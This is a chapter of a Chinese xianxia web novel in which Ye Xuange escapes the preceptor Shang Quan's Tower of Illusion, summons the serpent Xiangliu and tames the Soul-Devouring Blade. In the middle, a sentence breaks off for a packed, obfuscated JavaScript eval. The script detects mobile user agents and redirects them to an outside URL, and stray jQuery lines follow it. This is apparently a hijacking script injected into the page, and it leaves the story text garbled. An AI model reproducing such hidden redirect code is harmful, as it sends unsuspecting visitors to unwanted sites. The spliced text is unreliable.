国师眼中闪过一丝惊讶,随即猛地松开手,向前一跃飞到殿中。
他嘲笑一声:“你这二皮匠,我原想着晚些时候去找你,你倒好,自己送上门来了。”
“这虚妄塔,能破除一切虚假幻象,让我看看,你究竟是个什么东西……”
扮成宫女的长公主只来得喊了一声,两人便凭空消失了。
叶玄戈再一睁眼,已是身陷无尽的黑暗之中。
他闭眼再睁开,眸中闪过一抹难以察觉的明黄的光点。
两道高耸似入云霄的铁墙,在黑暗中朝着叶玄戈飞速挤压过来。
铁墙上,嵌着数万尊青面獠牙的诡异雕像。这些雕像五官狰狞生动,身形呈弯弓之势,仿佛下一刻便要挣脱铁墙束缚,化作活物扑出来!
叶玄戈飞身掠过这道越来越窄的墙缝,赶在墙壁将他压碎前跑到尽头。
他纵身一跃,跳到了尽头处半悬着的一处圆台上。
底下的铁墙合拢,发出了一阵让人牙酸的铁器咯吱声。
短暂的寂静后。
哐当,哐当。
一阵令人心底发寒的铁链声从叶玄戈背后响起。
他转身。
前一秒还空无一物的圆台上,此时悬着一座乌木沉棺。
这沉棺被数千条染血的粗铁链锁着,沉棺下的地面上刻着一道道阵法。
棺上不断渗出血来,棺盖稍微起伏着,发出咔哒咔哒的声响。
很快,那棺盖便掀起一角。
什么东西不断地从掀开的沉棺里掉出来。
咚咚,咚咚。
一连串沉闷的砸地声响起
咔哒哒,咔哒哒。
接着,传来一阵类似小孩磨牙的声音。
叶玄戈定睛一看,地上,铺着乌泱泱一大片白森森的东西。
牙齿,是人的牙齿。
这些牙齿,不断地张开又闭合,啃着地面朝他爬来,那些齿缝里,还卡着带血的碎肉。
叶玄戈还想看,却没看见除此之外的其他的东西,不禁有些失望。
“哈哈哈,我还道你是个什么东西,却只不过是个有些道行的鬼修!”国师的声音在塔内回荡。
他笑声中带着些鄙夷:“你个鬼修,运气倒是不错,让你得了那九玲珑,竟还修上五符六阵了。”
“道士天生克鬼,你也配?哈哈哈!”
叶玄戈周身亮起一串电火花,忽然又灭了。
国师声音再次响起:“别挣扎了,知道这虚妄塔外面是什么地方吗?”
“是神庙!”
“是不是连自己是怎么进来的都不知道?啊?哈哈哈哈!”
他狂笑起来:“我刚踏入此地时,便察觉这神庙天生克制五符六阵,更不论这虚妄塔了。它最擅长的,便是压制被囚之人的功法!”
“在这双重压制下,你的符,跟废纸又有何区别?”
叶玄戈脚下一沉。
他低头看去,一坨坨蠕动的黑泥正不断爬到他身上。
“修什么不好,偏修那五符六阵,法术多而不精,终究难成大事。”
“既然是你自己送上门的,那你的命,我就收下了!”
国师声音逐渐消失。
那黑泥攀爬速度极快,不一会儿就到了叶玄戈的腰间。
他只觉身体里的力量被迫一股股地向外涌出。
这黑泥竟会吸人修为!
塔顶,无数块锋利的碎镜片从天而降。
叶玄戈被划得遍体鳞伤,他面上红彤彤的代面被割破,露出半张脸来。
国师——商权躲在塔顶,透过天镜观察这人。
他势在必得的嘴角突然僵住。
破碎的面具下,那人,竟然在笑!
只听一道声音响起。
“真不巧,我前不久刚学了一招。”
那人嘴巴一开一合。
商权忽觉身后升起一阵锐利的毛骨悚然感。
转身。
一条长着九颗脑袋的巨蛇,九对月亮一样大的蛇瞳牢牢锁定着他,如同锁着猎物。
上古凶兽,相柳!
商权心中剧震。
这人方才说的是……千幻修罗!
“你!你竟是五色眼?”
商权声音虽抖,却难掩兴奋。
叶玄戈并不回答,相柳的九颗蛇头高高昂起,对着商权猛地张开了巨口!
相柳之毒,沾物则顷刻腐化,触地便寸草不生。
商权忽然狂笑出声:“好!好啊!我本就是为了寻五色眼才来这里的,没想到,还真被我遇上了!”
他伸手直直插入自己左胸之中,忍着剧痛从身体里抽出了一把锈迹斑斑的巨刀!
那巨刀虽锈,但整个刀身都透着一股子阴邪之气,仿佛能吸走世间魂魄!
“你能把相柳变出来,意味着九玲珑已在五层之上……”
“修炼到五层还能保持神志清醒的五色眼,简直是……闻所未闻!”
“真可惜,你今天碰到的是我,否则,你还真能成个大祸害!”
“这把噬魂刀,是我辗转上万个世界才寻来的神级宝物,能斩世间一切有魂之物。”
“这相柳再凶残可怖,也只能成为我的刀下亡魂!”
说罢,商权举起巨刀,朝着相柳便要砍去!
电光火石间,巨刀陡然停在空中。
商权脸色一变!
这噬魂刀,为何,为何在他手中颤抖?
叶玄戈笑了:“你这刀,好像不怎么服你。”
那噬魂刀好似能听懂人话,闻言颤抖得更加厉害了。
商权咬紧牙关,甚至偷偷使出六重三魂手对着刀身施加压迫,拼命想要握住刀柄。
噬魂刀挣扎得越来越厉害,刀柄不断往回掰,竟像是要回刺商权!
就在这时,相柳九张巨口中同时喷出翠绿的毒液!
毒水漫天而下,瞬间便落到了商权面前。
生死之际,商权握刀的手猛地一松,整个人重新遁入黑暗。
毒液轰向他站过的地方,铁做的地面瞬间化成了毒水。
那噬魂刀没去追商权,而是闪电似的蜿蜒穿梭而下,悬在叶玄戈身边。
已被黑泥裹到脖子处的叶玄戈警惕地看了它一眼。
噬魂刀颤抖着,迅速将刀尖插进黑泥里,顷刻间,这堆黑泥便枯成了一堆黑灰!
干掉黑泥后,噬魂刀立即将自己塞到叶玄戈手中。
触碰到叶玄戈的瞬间,这巨刀身上的锈迹迅速褪去,一层层透着蚀骨寒凉的妖异黑焰从刀身燃起,焰边闪烁着带电的紫光!
叶玄戈被这刀瞬间抽走了剩余的一半力量。
这刀可真能吃,不好养。
隐匿于黑暗中的商权,牙都要咬碎了。
他只当这噬魂刀的攻击力世间罕有,刀身锈迹斑斑不过是藏锋于拙的伪装。
却不料……他竟一直将这柄宝刀当作寻常柴刀来用!
不!这噬魂刀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517777|203012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
压根没认他为主过!
商权自修道以来,不是贵为九五,就是诡计绝顶,戏耍人间;他要风得风,要雨得雨,极少受到如此奇耻大辱!
他眼神阴翳,加快手中编绳子的动作。
被杀夺宝之事,绝不能发生在他商权身上!
叶玄戈提了提这黑焰噬魂刀,竟轻盈如羽。
商权抽空看到这一幕,眼睛都气红了。
这噬魂刀!
早知道有今日,还不如让它锈在那深海魔渊中!
还好,他这最后一步,完成了!
令人汗毛倒竖的感觉重新在商权身后出现,他不用回头都知是那人找来了。
这来的速度也忒快了!
“纵使你天赋再高又如何?很快,这份天赋就会彻底变成我的了!”
商权双指一捏,将这人的因果线编给了自己。
商权还想说点什么,却来不及发出声音。
……
叶玄戈眼见着商权在连上自己的因果线后,瞬间便腐烂化成了飞灰。
他走过去,捡起地上那堆商权留下的白色羽衣。
这是一件将白鹤剥了皮制成的羽衣,好似还带些特殊效果。
不过,看着样子,这商权本体并没死。
这个世界的商权,不过是他的一缕分身。
相柳昂着九颗脑袋,不太高兴地要蹿到塔外找人,叶玄戈怕它误伤他人,将它拽回了脑子里。
叶玄戈在虚妄塔里走了两步,将刀一扔。
那黑焰噬魂刀立即悬停在空中,周身焰火一扬,紫光电得噼里啪啦的,似在说话。
见叶玄戈不理它,黑焰噬魂刀竟化作一缕黑烟,顺着他右手臂上的毛孔藏进了他身体里。
……
叶玄戈掏出八卦盘:“小八,有空问问它的来历。”
小八颤巍巍伸出两根细弱的枯枝,将缩成一小块的虚妄塔和白羽衣一同收进八卦盘阵中心。
没一会儿,两根枯枝重新伸出,从叶玄戈的右手臂里,抽出一团黑色的东西拉进了八卦盘上的兑字里。
没了虚妄塔在里面罩着,叶玄戈一眼便看到了那尊已没了裂缝的黄金神像。
神庙,商权,旱灾,收粮。
还有自己进来时中的那一箭。
是商权,还是另有其人?
叶玄戈抬头。
神像表情似笑非笑,似在看他。
叶玄戈回了个高深莫测的笑容,笑完也不知自己在笑什么,耸耸肩,让小八将整座神像都收进了八卦盘。
不知是不是错觉,这神像表情竟有瞬间的错愕。
没了神像的神庙里,符纸燃烬。
身穿宫女服饰的长公主,见叶玄戈一人回来很是惊讶,看到他遍体鳞伤还碎了半边的面具,更是看出了神。
“那商权应该还留下了些邪物,你注意让人收缴。”
叶玄戈又叮嘱了长公主几句,便离开了。
长公主还没来得及说感谢的话,只能怔怔地看着这人消失的地方。
谢府。
唐小梅坐在门口等叶玄戈,谢文安陪着她。
叶玄戈半蹲在房顶上,听着唐小梅说谢文安鞋子边上竟然有补丁,问他为何沧州刺史当得如此寒酸。
又问他那日买那猪脸代面,是不是去神庙里许愿了。
谢文安摸了下鼻子,尴尬笑了笑。
叶玄戈趁机从屋顶跃下。
今夜过后,便只剩一日了。